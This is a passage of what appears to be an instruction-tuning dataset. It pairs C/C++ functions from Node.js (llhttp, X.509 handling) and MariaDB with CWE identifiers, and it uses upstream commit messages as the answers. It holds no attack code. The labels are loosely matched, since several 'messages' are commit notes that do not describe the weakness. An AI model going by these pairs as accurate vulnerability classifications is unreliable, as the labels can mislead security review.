llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_10: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_lf_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_lf_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_11: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_32: {\n    state->error = 0x7;\n    state->reason = \"Invalid char in url query\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_33: {\n    state->error = 0x7;\n    state->reason = \"Invalid char in url path\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_1: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_lf_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_lf_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_2: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_12: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_13: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_lf_to_http09;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_lf_to_http09;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_url_14: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_url(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) p;\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_url_skip_to_http;\n      return s_error;\n    }\n    goto s_n_llhttp__internal__n_url_skip_to_http;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_34: {\n    state->error = 0x7;\n    state->reason = \"Double @ in url\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_35: {\n    state->error = 0x7;\n    state->reason = \"Unexpected char in url server\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_36: {\n    state->error = 0x7;\n    state->reason = \"Unexpected char in url server\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_38: {\n    state->error = 0x7;\n    state->reason = \"Unexpected char in url schema\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_39: {\n    state->error = 0x7;\n    state->reason = \"Unexpected char in url schema\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_40: {\n    state->error = 0x7;\n    state->reason = \"Unexpected start char in url\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_is_equal_method: {\n    switch (llhttp__internal__c_is_equal_method(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_span_start_llhttp__on_url_1;\n      default:\n        goto s_n_llhttp__internal__n_span_start_llhttp__on_url;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_41: {\n    state->error = 0x6;\n    state->reason = \"Expected space after method\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_store_method_1: {\n    switch (llhttp__internal__c_store_method(state, p, endp, match)) {\n      default:\n        goto s_n_llhttp__internal__n_req_first_space_before_url;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_49: {\n    state->error = 0x6;\n    state->reason = \"Invalid method encountered\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_42: {\n    state->error = 0xd;\n    state->reason = \"Response overflow\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_mul_add_status_code: {\n    switch (llhttp__internal__c_mul_add_status_code(state, p, endp, match)) {\n      case 1:\n        goto s_n_llhttp__internal__n_error_42;\n      default:\n        goto s_n_llhttp__internal__n_res_status_code;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_status: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_status(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) (p + 1);\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_llhttp__on_status_complete;\n      return s_error;\n    }\n    p++;\n    goto s_n_llhttp__internal__n_invoke_llhttp__on_status_complete;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_span_end_llhttp__on_status_1: {\n    const unsigned char* start;\n    int err;\n    \n    start = state->_span_pos0;\n    state->_span_pos0 = NULL;\n    err = llhttp__on_status(state, start, p);\n    if (err != 0) {\n      state->error = err;\n      state->error_pos = (const char*) (p + 1);\n      state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_res_line_almost_done;\n      return s_error;\n    }\n    p++;\n    goto s_n_llhttp__internal__n_res_line_almost_done;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_43: {\n    state->error = 0xd;\n    state->reason = \"Invalid response status\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_status_code: {\n    switch (llhttp__internal__c_update_status_code(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_res_status_code;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_44: {\n    state->error = 0x9;\n    state->reason = \"Expected space after version\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_store_http_minor_1: {\n    switch (llhttp__internal__c_store_http_minor(state, p, endp, match)) {\n      default:\n        goto s_n_llhttp__internal__n_res_http_end;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_45: {\n    state->error = 0x9;\n    state->reason = \"Invalid minor version\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_46: {\n    state->error = 0x9;\n    state->reason = \"Expected dot\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_store_http_major_1: {\n    switch (llhttp__internal__c_store_http_major(state, p, endp, match)) {\n      default:\n        goto s_n_llhttp__internal__n_res_http_dot;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_47: {\n    state->error = 0x9;\n    state->reason = \"Invalid major version\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_50: {\n    state->error = 0x8;\n    state->reason = \"Expected HTTP/\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_type: {\n    switch (llhttp__internal__c_update_type(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_req_first_space_before_url;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_store_method: {\n    switch (llhttp__internal__c_store_method(state, p, endp, match)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_update_type;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error_48: {\n    state->error = 0x8;\n    state->reason = \"Invalid word encountered\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_type_1: {\n    switch (llhttp__internal__c_update_type_1(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_res_http_major;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_type_2: {\n    switch (llhttp__internal__c_update_type(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_start_req;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_pause_8: {\n    state->error = 0x15;\n    state->reason = \"on_message_begin pause\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_n_llhttp__internal__n_invoke_load_type;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_error: {\n    state->error = 0x10;\n    state->reason = \"`on_message_begin` callback error\";\n    state->error_pos = (const char*) p;\n    state->_current = (void*) (intptr_t) s_error;\n    return s_error;\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_llhttp__on_message_begin: {\n    switch (llhttp__on_message_begin(state, p, endp)) {\n      case 0:\n        goto s_n_llhttp__internal__n_invoke_load_type;\n      case 21:\n        goto s_n_llhttp__internal__n_pause_8;\n      default:\n        goto s_n_llhttp__internal__n_error;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n  s_n_llhttp__internal__n_invoke_update_finish: {\n    switch (llhttp__internal__c_update_finish(state, p, endp)) {\n      default:\n        goto s_n_llhttp__internal__n_invoke_llhttp__on_message_begin;\n    }\n    /* UNREACHABLE */;\n    abort();\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-444'], 'message': 'deps: update llhttp to 6.0.4\n\nRefs: https://hackerone.com/reports/1238099\nRefs: https://hackerone.com/reports/1238709\nRefs: https://github.com/nodejs-private/llhttp-private/pull/6\nRefs: https://github.com/nodejs-private/llhttp-private/pull/5\nCVE-ID: CVE-2021-22959\nCVE-ID: CVE-2021-22960\n\nPR-URL: https://github.com/nodejs-private/node-private/pull/284\nReviewed-By: Akshay K \nReviewed-By: James M Snell \nReviewed-By: Robert Nagy '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: v8::MaybeLocal GetInfoString(\n    Environment* env,\n    const BIOPointer& bio,\n    X509* cert) {\n  int index = X509_get_ext_by_NID(cert, nid, -1);\n  if (index < 0)\n    return Undefined(env->isolate());\n\n  X509_EXTENSION* ext = X509_get_ext(cert, index);\n  CHECK_NOT_NULL(ext);\n\n  if (!SafeX509ExtPrint(bio, ext) &&\n      X509V3_EXT_print(bio.get(), ext, 0, 0) != 1) {\n    USE(BIO_reset(bio.get()));\n    return v8::Null(env->isolate());\n  }\n\n  return ToV8Value(env, bio);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-295'], 'message': 'crypto,tls: implement safe x509 GeneralName format\n\nThis change introduces JSON-compatible escaping rules for strings that\ninclude X.509 GeneralName components (see RFC 5280). This non-standard\nformat avoids ambiguities and prevents injection attacks that could\npreviously lead to X.509 certificates being accepted even though they\nwere not valid for the target hostname.\n\nThese changes affect the format of subject alternative names and the\nformat of authority information access. The checkServerIdentity function\nhas been modified to safely handle the new format, eliminating the\npossibility of injecting subject alternative names into the verification\nlogic.\n\nBecause each subject alternative name is only encoded as a JSON string\nliteral if necessary for security purposes, this change will only be\nvisible in rare cases.\n\nThis addresses CVE-2021-44532.\n\nCVE-ID: CVE-2021-44532\nPR-URL: https://github.com/nodejs-private/node-private/pull/300\nReviewed-By: Michael Dawson \nReviewed-By: Rich Trott '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static bool fix_and_check_vcol_expr(THD *thd, TABLE *table,\n                                    Virtual_column_info *vcol)\n{\n  Item* func_expr= vcol->expr;\n  DBUG_ENTER(\"fix_and_check_vcol_expr\");\n  DBUG_PRINT(\"info\", (\"vcol: %p\", vcol));\n  DBUG_ASSERT(func_expr);\n\n  if (func_expr->fixed)\n    DBUG_RETURN(0); // nothing to do\n\n  if (fix_vcol_expr(thd, vcol))\n    DBUG_RETURN(1);\n\n  if (vcol->flags)\n    DBUG_RETURN(0); // already checked, no need to do it again\n\n  /* fix_fields could've changed the expression */\n  func_expr= vcol->expr;\n\n  /* this was checked in check_expression(), but the frm could be mangled... */\n  if (unlikely(func_expr->result_type() == ROW_RESULT))\n  {\n    my_error(ER_OPERAND_COLUMNS, MYF(0), 1);\n    DBUG_RETURN(1);\n  }\n\n  /*\n    Walk through the Item tree checking if all items are valid\n    to be part of the virtual column\n  */\n  Item::vcol_func_processor_result res;\n  res.errors= 0;\n\n  int error= func_expr->walk(&Item::check_vcol_func_processor, 0, &res);\n  if (unlikely(error || (res.errors & VCOL_IMPOSSIBLE)))\n  {\n    // this can only happen if the frm was corrupted\n    my_error(ER_VIRTUAL_COLUMN_FUNCTION_IS_NOT_ALLOWED, MYF(0), res.name,\n             vcol->get_vcol_type_name(), vcol->name.str);\n    DBUG_RETURN(1);\n  }\n  else if (unlikely(res.errors & VCOL_AUTO_INC))\n  {\n    /*\n      An auto_increment field may not be used in an expression for\n      a check constraint, a default value or a generated column\n\n      Note that this error condition is not detected during parsing\n      of the statement because the field item does not have a field\n      pointer at that time\n    */\n    myf warn= table->s->frm_version < FRM_VER_EXPRESSSIONS ? ME_JUST_WARNING : 0;\n    my_error(ER_VIRTUAL_COLUMN_FUNCTION_IS_NOT_ALLOWED, MYF(warn),\n             \"AUTO_INCREMENT\", vcol->get_vcol_type_name(), res.name);\n    if (!warn)\n      DBUG_RETURN(1);\n  }\n  vcol->flags= res.errors;\n\n  if (vcol->flags & VCOL_SESSION_FUNC)\n    table->s->vcols_need_refixing= true;\n\n  DBUG_RETURN(0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'MDEV-24176 Preparations\n\n1. moved fix_vcol_exprs() call to open_table()\n\nmysql_alter_table() doesn't do lock_tables() so it cannot win from\nfix_vcol_exprs() from there. Tests affected: main.default_session\n\n2. Vanilla cleanups and comments.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: uint prep_alter_part_table(THD *thd, TABLE *table, Alter_info *alter_info,\n                           HA_CREATE_INFO *create_info,\n                           Alter_table_ctx *alter_ctx,\n                           bool *partition_changed,\n                           bool *fast_alter_table)\n{\n  DBUG_ENTER(\"prep_alter_part_table\");\n\n  /* Foreign keys on partitioned tables are not supported, waits for WL#148 */\n  if (table->part_info && (alter_info->flags & (ALTER_ADD_FOREIGN_KEY |\n                                                ALTER_DROP_FOREIGN_KEY)))\n  {\n    my_error(ER_FOREIGN_KEY_ON_PARTITIONED, MYF(0));\n    DBUG_RETURN(TRUE);\n  }\n  /* Remove partitioning on a not partitioned table is not possible */\n  if (!table->part_info && (alter_info->partition_flags &\n                            ALTER_PARTITION_REMOVE))\n  {\n    my_error(ER_PARTITION_MGMT_ON_NONPARTITIONED, MYF(0));\n    DBUG_RETURN(TRUE);\n  }\n\n  partition_info *alt_part_info= thd->lex->part_info;\n  /*\n    This variable is TRUE in very special case when we add only DEFAULT\n    partition to the existing table\n  */\n  bool only_default_value_added=\n    (alt_part_info &&\n     alt_part_info->current_partition &&\n     alt_part_info->current_partition->list_val_list.elements == 1 &&\n     alt_part_info->current_partition->list_val_list.head()->\n     added_items >= 1 &&\n     alt_part_info->current_partition->list_val_list.head()->\n     col_val_array[0].max_value) &&\n    alt_part_info->part_type == LIST_PARTITION &&\n    (alter_info->partition_flags & ALTER_PARTITION_ADD);\n  if (only_default_value_added &&\n      !thd->lex->part_info->num_columns)\n    thd->lex->part_info->num_columns= 1; // to make correct clone\n\n  /*\n    One of these is done in handle_if_exists_option():\n        thd->work_part_info= thd->lex->part_info;\n      or\n        thd->work_part_info= NULL;\n  */\n  if (thd->work_part_info &&\n      !(thd->work_part_info= thd->work_part_info->get_clone(thd)))\n    DBUG_RETURN(TRUE);\n\n  /* ALTER_PARTITION_ADMIN is handled in mysql_admin_table */\n  DBUG_ASSERT(!(alter_info->partition_flags & ALTER_PARTITION_ADMIN));\n\n  partition_info *saved_part_info= NULL;\n\n  if (alter_info->partition_flags &\n      (ALTER_PARTITION_ADD |\n       ALTER_PARTITION_DROP |\n       ALTER_PARTITION_COALESCE |\n       ALTER_PARTITION_REORGANIZE |\n       ALTER_PARTITION_TABLE_REORG |\n       ALTER_PARTITION_REBUILD))\n  {\n    /*\n      You can't add column when we are doing alter related to partition\n    */\n    DBUG_EXECUTE_IF(\"test_pseudo_invisible\", {\n         my_error(ER_INTERNAL_ERROR, MYF(0), \"Don't to it with test_pseudo_invisible\");\n         DBUG_RETURN(1);\n         });\n    DBUG_EXECUTE_IF(\"test_completely_invisible\", {\n         my_error(ER_INTERNAL_ERROR, MYF(0), \"Don't to it with test_completely_invisible\");\n         DBUG_RETURN(1);\n         });\n    partition_info *tab_part_info;\n    ulonglong flags= 0;\n    bool is_last_partition_reorged= FALSE;\n    part_elem_value *tab_max_elem_val= NULL;\n    part_elem_value *alt_max_elem_val= NULL;\n    longlong tab_max_range= 0, alt_max_range= 0;\n    alt_part_info= thd->work_part_info;\n\n    if (!table->part_info)\n    {\n      my_error(ER_PARTITION_MGMT_ON_NONPARTITIONED, MYF(0));\n      DBUG_RETURN(TRUE);\n    }\n\n    /*\n      Open our intermediate table, we will operate on a temporary instance\n      of the original table, to be able to skip copying all partitions.\n      Open it as a copy of the original table, and modify its partition_info\n      object to allow fast_alter_partition_table to perform the changes.\n    */\n    DBUG_ASSERT(thd->mdl_context.is_lock_owner(MDL_key::TABLE,\n                                               alter_ctx->db.str,\n                                               alter_ctx->table_name.str,\n                                               MDL_INTENTION_EXCLUSIVE));\n\n    tab_part_info= table->part_info;\n\n    if (alter_info->partition_flags & ALTER_PARTITION_TABLE_REORG)\n    {\n      uint new_part_no, curr_part_no;\n      /*\n        'ALTER TABLE t REORG PARTITION' only allowed with auto partition\n         if default partitioning is used.\n      */\n\n      if (tab_part_info->part_type != HASH_PARTITION ||\n          ((table->s->db_type()->partition_flags() & HA_USE_AUTO_PARTITION) &&\n           !tab_part_info->use_default_num_partitions) ||\n          ((!(table->s->db_type()->partition_flags() & HA_USE_AUTO_PARTITION)) &&\n           tab_part_info->use_default_num_partitions))\n      {\n        my_error(ER_REORG_NO_PARAM_ERROR, MYF(0));\n        goto err;\n      }\n      new_part_no= table->file->get_default_no_partitions(create_info);\n      curr_part_no= tab_part_info->num_parts;\n      if (new_part_no == curr_part_no)\n      {\n        /*\n          No change is needed, we will have the same number of partitions\n          after the change as before. Thus we can reply ok immediately\n          without any changes at all.\n        */\n        flags= table->file->alter_table_flags(alter_info->flags);\n        if (flags & (HA_FAST_CHANGE_PARTITION | HA_PARTITION_ONE_PHASE))\n        {\n          *fast_alter_table= true;\n          /* Force table re-open for consistency with the main case. */\n          table->mark_table_for_reopen();\n        }\n        else\n        {\n          /*\n            Create copy of partition_info to avoid modifying original\n            TABLE::part_info, to keep it safe for later use.\n          */\n          if (!(tab_part_info= tab_part_info->get_clone(thd)))\n            DBUG_RETURN(TRUE);\n        }\n\n        thd->work_part_info= tab_part_info;\n        DBUG_RETURN(FALSE);\n      }\n      else if (new_part_no > curr_part_no)\n      {\n        /*\n          We will add more partitions, we use the ADD PARTITION without\n          setting the flag for no default number of partitions\n        */\n        alter_info->partition_flags|= ALTER_PARTITION_ADD;\n        thd->work_part_info->num_parts= new_part_no - curr_part_no;\n      }\n      else\n      {\n        /*\n          We will remove hash partitions, we use the COALESCE PARTITION\n          without setting the flag for no default number of partitions\n        */\n        alter_info->partition_flags|= ALTER_PARTITION_COALESCE;\n        alter_info->num_parts= curr_part_no - new_part_no;\n      }\n    }\n    if (!(flags= table->file->alter_table_flags(alter_info->flags)))\n    {\n      my_error(ER_PARTITION_FUNCTION_FAILURE, MYF(0));\n      goto err;\n    }\n    if ((flags & (HA_FAST_CHANGE_PARTITION | HA_PARTITION_ONE_PHASE)) != 0)\n    {\n      /*\n        \"Fast\" change of partitioning is supported in this case.\n        We will change TABLE::part_info (as this is how we pass\n        information to storage engine in this case), so the table\n        must be reopened.\n      */\n      *fast_alter_table= true;\n      table->mark_table_for_reopen();\n    }\n    else\n    {\n      /*\n        \"Fast\" changing of partitioning is not supported. Create\n        a copy of TABLE::part_info object, so we can modify it safely.\n        Modifying original TABLE::part_info will cause problems when\n        we read data from old version of table using this TABLE object\n        while copying them to new version of table.\n      */\n      if (!(tab_part_info= tab_part_info->get_clone(thd)))\n        DBUG_RETURN(TRUE);\n    }\n    DBUG_PRINT(\"info\", (\"*fast_alter_table flags: 0x%llx\", flags));\n    if ((alter_info->partition_flags & ALTER_PARTITION_ADD) ||\n        (alter_info->partition_flags & ALTER_PARTITION_REORGANIZE))\n    {\n      if (thd->work_part_info->part_type != tab_part_info->part_type)\n      {\n        if (thd->work_part_info->part_type == NOT_A_PARTITION)\n        {\n          if (tab_part_info->part_type == RANGE_PARTITION)\n          {\n            my_error(ER_PARTITIONS_MUST_BE_DEFINED_ERROR, MYF(0), \"RANGE\");\n            goto err;\n          }\n          else if (tab_part_info->part_type == LIST_PARTITION)\n          {\n            my_error(ER_PARTITIONS_MUST_BE_DEFINED_ERROR, MYF(0), \"LIST\");\n            goto err;\n          }\n          /*\n            Hash partitions can be altered without parser finds out about\n            that it is HASH partitioned. So no error here.\n          */\n        }\n        else\n        {\n          if (thd->work_part_info->part_type == RANGE_PARTITION)\n          {\n            my_error(ER_PARTITION_WRONG_VALUES_ERROR, MYF(0),\n                     \"RANGE\", \"LESS THAN\");\n          }\n          else if (thd->work_part_info->part_type == LIST_PARTITION)\n          {\n            DBUG_ASSERT(thd->work_part_info->part_type == LIST_PARTITION);\n            my_error(ER_PARTITION_WRONG_VALUES_ERROR, MYF(0),\n                     \"LIST\", \"IN\");\n          }\n          else if (thd->work_part_info->part_type == VERSIONING_PARTITION ||\n                   tab_part_info->part_type == VERSIONING_PARTITION)\n          {\n            my_error(ER_PARTITION_WRONG_TYPE, MYF(0), \"SYSTEM_TIME\");\n          }\n          else\n          {\n            DBUG_ASSERT(tab_part_info->part_type == RANGE_PARTITION ||\n                        tab_part_info->part_type == LIST_PARTITION);\n            (void) tab_part_info->error_if_requires_values();\n          }\n          goto err;\n        }\n      }\n      if ((tab_part_info->column_list &&\n          alt_part_info->num_columns != tab_part_info->num_columns &&\n          !only_default_value_added) ||\n          (!tab_part_info->column_list &&\n            (tab_part_info->part_type == RANGE_PARTITION ||\n             tab_part_info->part_type == LIST_PARTITION) &&\n            alt_part_info->num_columns != 1U &&\n             !only_default_value_added) ||\n          (!tab_part_info->column_list &&\n            tab_part_info->part_type == HASH_PARTITION &&\n            (alt_part_info->num_columns != 0)))\n      {\n        my_error(ER_PARTITION_COLUMN_LIST_ERROR, MYF(0));\n        goto err;\n      }\n      alt_part_info->column_list= tab_part_info->column_list;\n      if (alt_part_info->fix_parser_data(thd))\n      {\n        goto err;\n      }\n    }\n    if (alter_info->partition_flags & ALTER_PARTITION_ADD)\n    {\n      if (*fast_alter_table && thd->locked_tables_mode)\n      {\n        MEM_ROOT *old_root= thd->mem_root;\n        thd->mem_root= &thd->locked_tables_list.m_locked_tables_root;\n        saved_part_info= tab_part_info->get_clone(thd);\n        thd->mem_root= old_root;\n        saved_part_info->read_partitions= tab_part_info->read_partitions;\n        saved_part_info->lock_partitions= tab_part_info->lock_partitions;\n        saved_part_info->bitmaps_are_initialized= tab_part_info->bitmaps_are_initialized;\n      }\n      /*\n        We start by moving the new partitions to the list of temporary\n        partitions. We will then check that the new partitions fit in the\n        partitioning scheme as currently set-up.\n        Partitions are always added at the end in ADD PARTITION.\n      */\n      uint num_new_partitions= alt_part_info->num_parts;\n      uint num_orig_partitions= tab_part_info->num_parts;\n      uint check_total_partitions= num_new_partitions + num_orig_partitions;\n      uint new_total_partitions= check_total_partitions;\n      /*\n        We allow quite a lot of values to be supplied by defaults, however we\n        must know the number of new partitions in this case.\n      */\n      if (thd->lex->no_write_to_binlog &&\n          tab_part_info->part_type != HASH_PARTITION &&\n          tab_part_info->part_type != VERSIONING_PARTITION)\n      {\n        my_error(ER_NO_BINLOG_ERROR, MYF(0));\n        goto err;\n      }\n      if (tab_part_info->defined_max_value &&\n          (tab_part_info->part_type == RANGE_PARTITION ||\n           alt_part_info->defined_max_value))\n      {\n        my_error((tab_part_info->part_type == RANGE_PARTITION ?\n                  ER_PARTITION_MAXVALUE_ERROR :\n                  ER_PARTITION_DEFAULT_ERROR), MYF(0));\n        goto err;\n      }\n      if (num_new_partitions == 0)\n      {\n        my_error(ER_ADD_PARTITION_NO_NEW_PARTITION, MYF(0));\n        goto err;\n      }\n      if (tab_part_info->is_sub_partitioned())\n      {\n        if (alt_part_info->num_subparts == 0)\n          alt_part_info->num_subparts= tab_part_info->num_subparts;\n        else if (alt_part_info->num_subparts != tab_part_info->num_subparts)\n        {\n          my_error(ER_ADD_PARTITION_SUBPART_ERROR, MYF(0));\n          goto err;\n        }\n        check_total_partitions= new_total_partitions*\n                                alt_part_info->num_subparts;\n      }\n      if (check_total_partitions > MAX_PARTITIONS)\n      {\n        